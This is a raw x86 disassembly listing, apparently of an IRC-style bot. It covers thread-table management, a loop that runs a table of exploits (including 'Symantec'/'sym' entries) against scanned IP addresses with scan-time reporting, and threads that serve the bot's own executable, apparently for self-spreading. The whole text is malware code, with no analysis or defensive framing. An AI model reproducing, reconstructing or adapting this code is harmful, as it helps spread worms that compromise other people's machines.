jz short loc_40B16D
inc ebx
loc_40B16D: ; CODE XREF: sub_40B150+Fj
; sub_40B150+1Aj
add esi, 234h
inc edi
cmp esi, offset dword_4CD998
jl short loc_40B15C
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_40B150 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B182 proc near ; CODE XREF: sub_401B66+412Bp
; sub_401B66+4279p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], ebx
mov esi, offset dword_440B9C
loc_40B196: ; CODE XREF: sub_40B182+43j
mov eax, [esi-4]
cmp eax, [ebp+arg_0]
jnz short loc_40B1B8
test edi, edi
jle short loc_40B1AA
cmp [esi], edi
jz short loc_40B1AA
cmp ebx, edi
jnz short loc_40B1B8
loc_40B1AA: ; CODE XREF: sub_40B182+1Ej
; sub_40B182+22j
push ebx
call sub_40B0C8
test eax, eax
pop ecx
jz short loc_40B1B8
inc [ebp+var_4]
loc_40B1B8: ; CODE XREF: sub_40B182+1Aj
; sub_40B182+26j ...
add esi, 234h
inc ebx
cmp esi, offset dword_4CDB9C
jl short loc_40B196
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_40B182 endp
; =============== S U B R O U T I N E =======================================
sub_40B1CF proc near ; CODE XREF: sub_401B66+8E3p
; sub_401B66+1C72p ...
arg_0 = dword ptr 4
xor eax, eax
mov ecx, offset dword_440B98
loc_40B1D6: ; CODE XREF: sub_40B1CF+1Cj
mov edx, [ecx]
cmp edx, [esp+arg_0]
jnz short loc_40B1DF
inc eax
loc_40B1DF: ; CODE XREF: sub_40B1CF+Dj
add ecx, 234h
cmp ecx, offset dword_4CDB98
jl short loc_40B1D6
retn
sub_40B1CF endp
; =============== S U B R O U T I N E =======================================
sub_40B1EE proc near ; CODE XREF: sub_401B66+235Ap
arg_0 = dword ptr 4
xor eax, eax
xor edx, edx
mov ecx, offset dword_440B98
push esi
loc_40B1F8: ; CODE XREF: sub_40B1EE+1Fj
mov esi, [ecx]
cmp esi, [esp+4+arg_0]
jz short loc_40B211
add ecx, 234h
inc edx
cmp ecx, offset dword_4CDB98
jl short loc_40B1F8
pop esi
retn
; ---------------------------------------------------------------------------
loc_40B211: ; CODE XREF: sub_40B1EE+10j
mov eax, edx
pop esi
retn
sub_40B1EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B215 proc near ; CODE XREF: sub_401B66+11B1p
; sub_401B66+11CFp ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 200h
xor eax, eax
cmp [ebp+arg_1C], eax
jz short loc_40B22E
push [ebp+arg_1C]
call sub_41BF49
pop ecx
loc_40B22E: ; CODE XREF: sub_40B215+Ej
push eax
push [ebp+arg_18]
call sub_40B182
pop ecx
test eax, eax
pop ecx
jle short loc_40B25A
push eax
lea eax, [ebp+var_200]
push [ebp+arg_14]
push [ebp+arg_10]
push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)"
push eax
call sub_41C056
add esp, 14h
jmp short loc_40B274
; ---------------------------------------------------------------------------
loc_40B25A: ; CODE XREF: sub_40B215+26j
push [ebp+arg_14]
lea eax, [ebp+var_200]
push [ebp+arg_10]
push offset aSNoSThreadFoun ; "%s No %s thread found."
push eax
call sub_41C056
add esp, 10h
loc_40B274: ; CODE XREF: sub_40B215+43j
cmp [ebp+arg_C], 0
jnz short loc_40B294
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409982
add esp, 14h
loc_40B294: ; CODE XREF: sub_40B215+63j
lea eax, [ebp+var_200]
push eax
call sub_4157A5
pop ecx
leave
retn
sub_40B215 endp
; =============== S U B R O U T I N E =======================================
sub_40B2A3 proc near ; CODE XREF: sub_401891+154p
; sub_40AFF8+40p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
imul eax, 234h
mov dword_440BAC[eax], ecx
mov dword_440B98[eax], ecx
mov dword_440B9C[eax], ecx
mov dword_440BA0[eax], ecx
mov dword_440BA4[eax], ecx
mov dword_440BA8[eax], ecx
mov byte ptr dword_440998[eax], cl
mov byte_440BB0[eax], cl
retn
sub_40B2A3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B2E0 proc near ; CODE XREF: sub_401B66+7CC6p
; sub_40B408+61p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
xor eax, eax
push esi
mov esi, [ebp+arg_0]
inc eax
jmp short loc_40B342
; ---------------------------------------------------------------------------
loc_40B2EC: ; CODE XREF: sub_40B2E0+66j
cmp eax, 1
jnz short loc_40B353
mov edx, [ebp+arg_4]
mov dl, [edx]
test dl, dl
jz short loc_40B353
cmp cl, 2Ah
jz short loc_40B32B
cmp cl, 3Fh
jz short loc_40B310
cmp cl, 5Bh
jz short loc_40B315
xor eax, eax
cmp cl, dl
setz al
loc_40B310: ; CODE XREF: sub_40B2E0+22j
inc [ebp+arg_4]
jmp short loc_40B33E
; ---------------------------------------------------------------------------
loc_40B315: ; CODE XREF: sub_40B2E0+27j
lea eax, [ebp+arg_4]
inc esi
push eax
lea eax, [ebp+arg_0]
push eax
mov [ebp+arg_0], esi
call sub_40B374
mov esi, [ebp+arg_0]
jmp short loc_40B33C
; ---------------------------------------------------------------------------
loc_40B32B: ; CODE XREF: sub_40B2E0+1Dj
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+arg_0]
push eax
call sub_40B408
mov esi, [ebp+arg_0]
dec esi
loc_40B33C: ; CODE XREF: sub_40B2E0+49j
pop ecx
pop ecx
loc_40B33E: ; CODE XREF: sub_40B2E0+33j
inc esi
mov [ebp+arg_0], esi
loc_40B342: ; CODE XREF: sub_40B2E0+Aj
mov cl, [esi]
test cl, cl
jnz short loc_40B2EC
jmp short loc_40B353
; ---------------------------------------------------------------------------
loc_40B34A: ; CODE XREF: sub_40B2E0+76j
cmp eax, 1
jnz short loc_40B36F
inc esi
mov [ebp+arg_0], esi
loc_40B353: ; CODE XREF: sub_40B2E0+Fj
; sub_40B2E0+18j ...
cmp byte ptr [esi], 2Ah
jz short loc_40B34A
cmp eax, 1
jnz short loc_40B36F
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jnz short loc_40B36F
cmp byte ptr [esi], 0
jnz short loc_40B36F
xor eax, eax
inc eax
jmp short loc_40B371
; ---------------------------------------------------------------------------
loc_40B36F: ; CODE XREF: sub_40B2E0+6Dj
; sub_40B2E0+7Bj ...
xor eax, eax
loc_40B371: ; CODE XREF: sub_40B2E0+8Dj
pop esi
pop ebp
retn
sub_40B2E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B374 proc near ; CODE XREF: sub_40B2E0+41p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov edx, [ebp+arg_0]
push edi
xor edi, edi
xor eax, eax
mov ecx, [edx]
and [ebp+var_8], edi
inc eax
cmp byte ptr [ecx], 21h
mov [ebp+var_4], eax
jnz short loc_40B395
inc ecx
mov [ebp+var_8], eax
mov [edx], ecx
loc_40B395: ; CODE XREF: sub_40B374+19j
push ebx
push esi
loc_40B397: ; CODE XREF: sub_40B374+77j
mov ecx, [edx]
mov bl, [ecx]
cmp bl, 5Dh
jnz short loc_40B3A5
cmp [ebp+var_4], eax
jnz short loc_40B3ED
loc_40B3A5: ; CODE XREF: sub_40B374+2Aj
test edi, edi
jnz short loc_40B3E2
cmp bl, 2Dh
jnz short loc_40B3D6
lea esi, [ecx+1]
mov cl, [ecx-1]
mov al, [esi]
cmp cl, al
jge short loc_40B3D6
cmp al, 5Dh
jz short loc_40B3D6
cmp [ebp+var_4], edi
jnz short loc_40B3D6
mov ebx, [ebp+arg_4]
mov ebx, [ebx]
mov bl, [ebx]
cmp bl, cl
jl short loc_40B3E2
cmp bl, al
jg short loc_40B3E2
mov [edx], esi
jmp short loc_40B3DF
; ---------------------------------------------------------------------------
loc_40B3D6: ; CODE XREF: sub_40B374+38j
; sub_40B374+44j ...
mov eax, [ebp+arg_4]
mov eax, [eax]
cmp bl, [eax]
jnz short loc_40B3E2
loc_40B3DF: ; CODE XREF: sub_40B374+60j
xor edi, edi
inc edi
loc_40B3E2: ; CODE XREF: sub_40B374+33j
; sub_40B374+58j ...
inc dword ptr [edx]
and [ebp+var_4], 0
xor eax, eax
inc eax
jmp short loc_40B397
; ---------------------------------------------------------------------------
loc_40B3ED: ; CODE XREF: sub_40B374+2Fj
cmp [ebp+var_8], eax
pop esi
pop ebx
jnz short loc_40B3FA
mov ecx, eax
sub ecx, edi
mov edi, ecx
loc_40B3FA: ; CODE XREF: sub_40B374+7Ej
cmp edi, eax
jnz short loc_40B403
mov eax, [ebp+arg_4]
inc dword ptr [eax]
loc_40B403: ; CODE XREF: sub_40B374+88j
mov eax, edi
pop edi
leave
retn
sub_40B374 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B408 proc near ; CODE XREF: sub_40B2E0+53p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], 1
inc dword ptr [esi]
xor ebx, ebx
jmp short loc_40B438
; ---------------------------------------------------------------------------
loc_40B422: ; CODE XREF: sub_40B408+36j
mov dl, [eax]
cmp dl, 3Fh
jz short loc_40B433
cmp dl, 2Ah
jnz short loc_40B445
cmp dl, 3Fh
jnz short loc_40B436
loc_40B433: ; CODE XREF: sub_40B408+1Fj
inc ecx
mov [edi], ecx
loc_40B436: ; CODE XREF: sub_40B408+29j
inc dword ptr [esi]
loc_40B438: ; CODE XREF: sub_40B408+18j
mov ecx, [edi]
mov eax, [esi]
cmp [ecx], bl
jnz short loc_40B422
jmp short loc_40B445
; ---------------------------------------------------------------------------
loc_40B442: ; CODE XREF: sub_40B408+40j
inc eax
mov [esi], eax
loc_40B445: ; CODE XREF: sub_40B408+24j
; sub_40B408+38j
cmp byte ptr [eax], 2Ah
jz short loc_40B442
mov ecx, [edi]
mov dl, [ecx]
cmp dl, bl
jnz short loc_40B467
cmp [eax], bl
jz short loc_40B45A
xor eax, eax
jmp short loc_40B4C4
; ---------------------------------------------------------------------------
loc_40B45A: ; CODE XREF: sub_40B408+4Cj
cmp dl, bl
jnz short loc_40B467
cmp [eax], bl
jnz short loc_40B467
xor eax, eax
inc eax
jmp short loc_40B4C4
; ---------------------------------------------------------------------------
loc_40B467: ; CODE XREF: sub_40B408+48j
; sub_40B408+54j ...
push ecx
push eax
call sub_40B2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_40B4AE
loc_40B474: ; CODE XREF: sub_40B408+A4j
inc dword ptr [edi]
mov eax, [edi]
jmp short loc_40B486
; ---------------------------------------------------------------------------
loc_40B47A: ; CODE XREF: sub_40B408+86j
cmp cl, 5Bh
jz short loc_40B490
cmp dl, bl
jz short loc_40B490
inc eax
mov [edi], eax
loc_40B486: ; CODE XREF: sub_40B408+70j
mov ecx, [esi]
mov dl, [eax]
mov cl, [ecx]
cmp cl, dl
jnz short loc_40B47A
loc_40B490: ; CODE XREF: sub_40B408+75j
; sub_40B408+79j
cmp [eax], bl
jz short loc_40B4A5
push eax
push dword ptr [esi]
call sub_40B2E0
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40B4AA
; ---------------------------------------------------------------------------
loc_40B4A5: ; CODE XREF: sub_40B408+8Aj
mov [ebp+var_4], ebx
xor eax, eax
loc_40B4AA: ; CODE XREF: sub_40B408+9Bj
cmp eax, ebx
jnz short loc_40B474
loc_40B4AE: ; CODE XREF: sub_40B408+6Aj
mov eax, [edi]
cmp [eax], bl
jnz short loc_40B4C1
mov eax, [esi]
cmp [eax], bl
jnz short loc_40B4C1
mov [ebp+var_4], 1
loc_40B4C1: ; CODE XREF: sub_40B408+AAj
; sub_40B408+B0j
mov eax, [ebp+var_4]
loc_40B4C4: ; CODE XREF: sub_40B408+50j
; sub_40B408+5Dj
pop edi
pop esi
pop ebx
leave
retn
sub_40B408 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B4C9 proc near ; CODE XREF: sub_401B66+2A9Cp
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 400h
push ebx
push edi
lea eax, [ebp+var_200]
push offset unk_432F78
push eax
xor ebx, ebx
call sub_41C056
cmp dword_432A90, ebx
pop ecx
pop ecx
mov edi, 200h
jz short loc_40B53B
push esi
mov esi, offset dword_432A98
loc_40B4FC: ; CODE XREF: sub_40B4C9+6Fj
mov eax, [esi]
test eax, eax
jbe short loc_40B531
add ebx, eax
push eax
lea eax, [esi-26h]
push eax
lea eax, [ebp+var_400]
push offset dword_432F6C
push eax
call sub_41C056
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_41C9B0
add esp, 1Ch
loc_40B531: ; CODE XREF: sub_40B4C9+37j
add esi, 40h
cmp dword ptr [esi-8], 0
jnz short loc_40B4FC
pop esi
loc_40B53B: ; CODE XREF: sub_40B4C9+2Bj
push dword_4CD99C
call sub_41B05C
push eax
push ebx
lea eax, [ebp+var_400]
push offset aTotalDInS_ ; " Total: %d in %s."
push eax
call sub_41C056
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_41C9B0
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409982
lea eax, [ebp+var_200]
push eax
call sub_4157A5
add esp, 38h
pop edi
pop ebx
leave
retn
sub_40B4C9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B597 proc near ; CODE XREF: sub_401B66+2A86p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
mov eax, dword_4D0764
mov ecx, dword_4D0760
push esi
push dword_4CD99C
lea esi, [ecx+eax]
call sub_41B05C
push eax
push esi
push dword_4D0764
lea eax, [ebp+var_200]
push dword_4D0760
push offset unk_432F98
push eax
call sub_41C056
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409982
lea eax, [ebp+var_200]
push eax
call sub_4157A5
add esp, 34h
pop esi
leave
retn
sub_40B597 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B602 proc near ; CODE XREF: sub_401B66+2A70p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push dword_4CD99C
call sub_41B05C
push eax
lea eax, [ebp+var_200]
push dword_4D0AA0
push offset unk_432FE0
push eax
call sub_41C056
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409982
lea eax, [ebp+var_200]
push eax
call sub_4157A5
add esp, 2Ch
leave
retn
sub_40B602 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B656 proc near ; CODE XREF: sub_401B66+2A5Ap
var_1000 = byte ptr -1000h
var_800 = byte ptr -800h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, 1000h
call sub_41C2F0
push edi
lea eax, [ebp+var_800]
push offset dword_43302C
push eax
call sub_41C056
cmp dword_432A90, 0
pop ecx
pop ecx
mov edi, 800h
jz short loc_40B6C2
push esi
mov esi, offset aSymantec ; "Symantec"
loc_40B68B: ; CODE XREF: sub_40B656+69j
lea eax, [esi-0Ah]
push eax
push esi
lea eax, [ebp+var_1000]
push offset dword_43301C
push eax
call sub_41C056
lea eax, [ebp+var_1000]
push edi
push eax
lea eax, [ebp+var_800]
push eax
call sub_41C9B0
add esi, 40h
add esp, 1Ch
cmp dword ptr [esi+1Eh], 0
jnz short loc_40B68B
pop esi
loc_40B6C2: ; CODE XREF: sub_40B656+2Dj
push dword_4CD99C
call sub_41B05C
push eax
lea eax, [ebp+var_1000]
push offset aScanTimeS_ ; " Scan Time: %s."
push eax
call sub_41C056
lea eax, [ebp+var_1000]
push edi
push eax
lea eax, [ebp+var_800]
push eax
call sub_41C9B0
push 0
lea eax, [ebp+var_800]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409982
lea eax, [ebp+var_800]
push eax
call sub_4157A5
add esp, 34h
pop edi
leave
retn
sub_40B656 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B71C proc near ; DATA XREF: sub_401B66+30ADo
var_3F0 = byte ptr -3F0h
var_1F0 = dword ptr -1F0h
var_1EC = byte ptr -1ECh
var_1DC = byte ptr -1DCh
var_15C = byte ptr -15Ch
var_150 = dword ptr -150h
var_14C = dword ptr -14Ch
var_148 = dword ptr -148h
var_140 = dword ptr -140h
var_13C = dword ptr -13Ch
var_134 = byte ptr -134h
var_124 = byte ptr -124h
var_A4 = byte ptr -0A4h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3F0h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Bh
mov esi, eax
pop ecx
lea edi, [ebp+var_134]
rep movsd
mov dword ptr [eax+128h], 1
lea eax, [ebp+var_134]
push eax
call dword_4CDCA4 ; inet_addr
xor edi, edi
mov [ebp+var_8], eax
cmp dword_432A90, edi
mov [ebp+var_4], edi
mov [ebp+arg_0], edi
jz loc_40B87B
mov esi, offset dword_432A90
mov ebx, offset aSym ; "sym"
loc_40B770: ; CODE XREF: sub_40B71C+159j
push [ebp+var_1C]
push dword ptr [esi]
push [ebp+var_8]
call sub_40BF0D
add esp, 0Ch
cmp eax, 1
jnz loc_40B86A
push dword ptr [esi]
lea eax, [ebp+var_134]
push eax
lea eax, [ebx+0Ah]
push eax
lea eax, [ebp+var_3F0]
push offset unk_43307C
push eax
call sub_41C056
push edi
lea eax, [ebp+var_3F0]
push [ebp+var_14]
push eax
lea eax, [ebp+var_124]
push eax
push [ebp+var_24]
call sub_409982
lea eax, [ebp+var_3F0]
push eax
call sub_4157A5
lea eax, [ebp+var_134]
push eax
lea eax, [ebp+var_1EC]
push eax
call sub_41C056
lea eax, [ebp+var_15C]
push ebx
push eax
call sub_41C056
add esp, 3Ch
cmp [ebp+var_A4], 0
lea eax, [ebp+var_A4]
jnz short loc_40B805
lea eax, [ebp+var_124]
loc_40B805: ; CODE XREF: sub_40B71C+E1j
push eax
lea eax, [ebp+var_1DC]
push eax
call sub_41C056
mov eax, [ebp+var_24]
pop ecx
mov [ebp+var_1F0], eax
mov eax, [ebp+var_14]
mov [ebp+var_140], eax
mov eax, [ebp+var_10]
pop ecx
mov [ebp+var_13C], eax
mov eax, [esi]
sub esp, 0BCh
mov [ebp+var_150], eax
mov eax, [ebp+var_18]
push 2Fh
mov [ebp+var_14C], eax
mov eax, [ebp+arg_0]
pop ecx
lea esi, [ebp+var_1F0]
mov edi, esp
mov [ebp+var_148], eax
rep movsd
call dword ptr [ebx+2Ch]
add esp, 0BCh
inc [ebp+var_4]
xor edi, edi
loc_40B86A: ; CODE XREF: sub_40B71C+67j
inc [ebp+arg_0]
add ebx, 40h
lea esi, [ebx+28h]
cmp [esi], edi
jnz loc_40B770
loc_40B87B: ; CODE XREF: sub_40B71C+44j
push [ebp+var_4]
lea eax, [ebp+var_134]
push eax
lea eax, [ebp+var_3F0]
push offset unk_433048
push eax
call sub_41C056
push edi
lea eax, [ebp+var_3F0]
push [ebp+var_14]
push eax
lea eax, [ebp+var_124]
push eax
push [ebp+var_24]
call sub_409982
lea eax, [ebp+var_3F0]
push eax
call sub_4157A5
push [ebp+var_18]
call sub_40B2A3
add esp, 2Ch
push edi
call dword_4280CC ; ExitThread
sub_40B71C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B8CE proc near ; CODE XREF: sub_401B66+2375p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push 0Bh
call sub_40B1CF
test eax, eax
pop ecx
jle short loc_40B90A
mov eax, [ebp+arg_C]
push dword_4CDDA8[eax*8]
call dword_4CDCF0 ; inet_ntoa
push eax
lea eax, [ebp+var_200]
push offset unk_4330CC
push eax
call sub_41C056
add esp, 0Ch
jmp short loc_40B91D
; ---------------------------------------------------------------------------
loc_40B90A: ; CODE XREF: sub_40B8CE+13j
lea eax, [ebp+var_200]
push offset unk_4330AC
push eax
call sub_41C056
pop ecx
pop ecx
loc_40B91D: ; CODE XREF: sub_40B8CE+3Aj
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409982
lea eax, [ebp+var_200]
push eax
call sub_4157A5
add esp, 18h
leave
retn
sub_40B8CE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B945 proc near ; CODE XREF: sub_40C1BE+4Fp
var_210 = dword ptr -210h
var_204 = byte ptr -204h
var_4 = byte ptr -4
arg_10 = byte ptr 18h
arg_90 = byte ptr 98h
arg_110 = dword ptr 118h
arg_130 = dword ptr 138h
arg_138 = dword ptr 140h
arg_13C = dword ptr 144h
push ebp
mov ebp, esp
sub esp, 204h
mov eax, [ebp+arg_130]
push ebx
cmp eax, 0FFFFFFFFh
push esi
jz loc_40BE25
shl eax, 6
xor ebx, ebx
cmp dword_432A9C[eax], ebx
jz loc_40BE25
push 5
call sub_40B1CF
test eax, eax
pop ecx
jnz loc_40BBBF
mov eax, dword_42A07C
push edi
mov esi, offset dword_4CFE64
push 104h
push esi
push ebx
mov dword_4D0074, eax
mov dword_4D0070, ebx
call dword_428074 ; GetModuleFileNameA
mov edi, offset byte_42A10C
push 103h
push edi
push offset dword_4CFF68
call sub_41BDC0
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_4CFE60, eax
mov eax, [ebp+arg_138]
push 7Fh
mov dword_4D00F8, eax
jnz short loc_40B9F5
lea eax, [ebp+arg_10]
push eax
push offset dword_4D0078
call sub_41BDC0
mov dword_4D00FC, 1
jmp short loc_40BA0C
; ---------------------------------------------------------------------------
loc_40B9F5: ; CODE XREF: sub_40B945+94j
lea eax, [ebp+arg_90]
push eax
push offset dword_4D0078
call sub_41BDC0
mov dword_4D00FC, ebx
loc_40BA0C: ; CODE XREF: sub_40B945+AEj
add esp, 0Ch
lea eax, [ebp+var_204]
push esi
push dword_4D0074
push offset unk_42D518
push eax
call sub_41C056
push ebx
lea eax, [ebp+var_204]
push 5
push eax
call sub_40AF8D
add esp, 1Ch
mov dword_4D006C, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CFE60
push offset sub_411DF4
push ebx
push ebx
call dword_42807C ; CreateThread
mov ecx, dword_4D006C
imul ecx, 234h
cmp eax, ebx
mov dword_440BAC[ecx], eax
jnz loc_40BB10
call dword_42808C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_204]
push offset unk_4331EC
push eax
call sub_41C056
add esp, 0Ch
loc_40BA8A: ; CODE XREF: sub_40B945+1D3j
lea eax, [ebp+var_204]
push eax
call sub_4157A5
mov eax, dword_4CD998
mov esi, offset dword_4D010C
mov [esp+210h+var_210], 104h
push esi
push ebx
mov dword_4D031C, eax
mov dword_4D0318, ebx
call dword_428074 ; GetModuleFileNameA
push 103h
push edi
push offset dword_4D0210
call sub_41BDC0
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_4D0108, eax
mov eax, [ebp+arg_138]
pop edi
mov dword_4D03A0, eax
push 7Fh
jnz short loc_40BB1D
lea eax, [ebp+arg_10]
push eax
push offset dword_4D0320
call sub_41BDC0
mov dword_4D03A4, 1
jmp short loc_40BB34
; ---------------------------------------------------------------------------
loc_40BB08: ; CODE XREF: sub_40B945+1D1j
push 32h
call dword_428064 ; Sleep
loc_40BB10: ; CODE XREF: sub_40B945+124j
cmp dword_4D0100, ebx
jz short loc_40BB08
jmp loc_40BA8A
; ---------------------------------------------------------------------------
loc_40BB1D: ; CODE XREF: sub_40B945+1A7j
lea eax, [ebp+arg_90]
push eax
push offset dword_4D0320
call sub_41BDC0
mov dword_4D03A4, ebx
loc_40BB34: ; CODE XREF: sub_40B945+1C1j
add esp, 0Ch
lea eax, [ebp+var_204]
push esi
push dword_4D031C
push offset unk_4331B8
push eax
call sub_41C056
push ebx
lea eax, [ebp+var_204]
push 4
push eax
call sub_40AF8D
add esp, 1Ch
mov dword_4D0314, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4D0108
push offset sub_40F23F
push ebx
push ebx
call dword_42807C ; CreateThread
mov ecx, dword_4D0314
imul ecx, 234h
cmp eax, ebx
mov dword_440BAC[ecx], eax
jnz loc_40BC38
call dword_42808C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_204]
push offset unk_433184
push eax
call sub_41C056
add esp, 0Ch
loc_40BBB2: ; CODE XREF: sub_40B945+2FBj
lea eax, [ebp+var_204]
push eax
call sub_4157A5
pop ecx
loc_40BBBF: ; CODE XREF: sub_40B945+35j
mov eax, [ebp+arg_130]
mov ecx, eax
shl ecx, 6
cmp dword_432AA4[ecx], ebx
jz loc_40BCEC
push 7
call sub_40B1CF
test eax, eax
pop ecx
jnz loc_40BCE6
mov eax, dword_4D0A9C
cmp [ebp+arg_90], bl
mov dword_4CFDCC, eax
mov eax, [ebp+arg_110]
mov dword_4CFDC0, eax
mov eax, [ebp+arg_138]
mov dword_4CFDC8, ebx
mov dword_4CFE50, eax
push 7Fh
jnz short loc_40BC45
lea eax, [ebp+arg_10]
push eax
push offset dword_4CFDD0
call sub_41BDC0
mov dword_4CFE54, 1
jmp short loc_40BC5C
; ---------------------------------------------------------------------------
loc_40BC30: ; CODE XREF: sub_40B945+2F9j
push 32h
call dword_428064 ; Sleep
loc_40BC38: ; CODE XREF: sub_40B945+24Cj
cmp dword_4D03A8, ebx
jz short loc_40BC30
jmp loc_40BBB2
; ---------------------------------------------------------------------------
loc_40BC45: ; CODE XREF: sub_40B945+2CFj
lea eax, [ebp+arg_90]
push eax
push offset dword_4CFDD0
call sub_41BDC0
mov dword_4CFE54, ebx
loc_40BC5C: ; CODE XREF: sub_40B945+2E9j
add esp, 0Ch
lea eax, [ebp+var_204]
push dword_4CFDCC
push offset unk_433154
push eax
call sub_41C056
push ebx
lea eax, [ebp+var_204]
push 7
push eax
call sub_40AF8D
add esp, 18h
mov dword_4CFDC4, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CFDC0
push offset sub_40EF9D
push ebx
push ebx
call dword_42807C ; CreateThread
mov ecx, dword_4CFDC4
imul ecx, 234h
cmp eax, ebx
mov dword_440BAC[ecx], eax
jnz loc_40BDDE
call dword_42808C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_204]
push offset unk_43311C
push eax
call sub_41C056
add esp, 0Ch
loc_40BCD9: ; CODE XREF: sub_40B945+4A1j
lea eax, [ebp+var_204]
push eax
call sub_4157A5
pop ecx
loc_40BCE6: ; CODE XREF: sub_40B945+29Bj
mov eax, [ebp+arg_130]
loc_40BCEC: ; CODE XREF: sub_40B945+28Bj
shl eax, 6
cmp dword_432AA0[eax], ebx
jz loc_40BE25
push 3
call sub_40B1CF
test eax, eax
pop ecx
jnz loc_40BE25
mov esi, offset dword_4D063C
push 104h
push esi
push ebx
call dword_428074 ; GetModuleFileNameA
push 5Ch
push esi
call sub_41C610
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40BD2D
mov [eax], bl
loc_40BD2D: ; CODE XREF: sub_40B945+3E4j
mov eax, dword_4CDB04
mov dword_4D0754, ebx
mov dword_4D0740, eax
lea eax, [ebp+arg_10]
push eax
push offset dword_4D03B4
call sub_41C056
mov eax, [ebp+arg_110]
pop ecx
pop ecx
mov dword_4D03B0, eax
mov ecx, [ebp+arg_138]
push esi
push dword_4D0740
mov dword_4D074C, ecx
mov ecx, [ebp+arg_13C]
push eax
mov dword_4D0750, ecx
call sub_40AB14
pop ecx
push eax
lea eax, [ebp+var_204]
push offset unk_42D4A0
push eax
call sub_41C056
push ebx
lea eax, [ebp+var_204]
push 3
push eax
call sub_40AF8D
add esp, 20h
mov dword_4D0748, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4D03B0
push offset sub_40F956
push ebx
push ebx
call dword_42807C ; CreateThread
mov ecx, dword_4D0748
imul ecx, 234h
cmp eax, ebx
mov dword_440BAC[ecx], eax
jz short loc_40BDFD
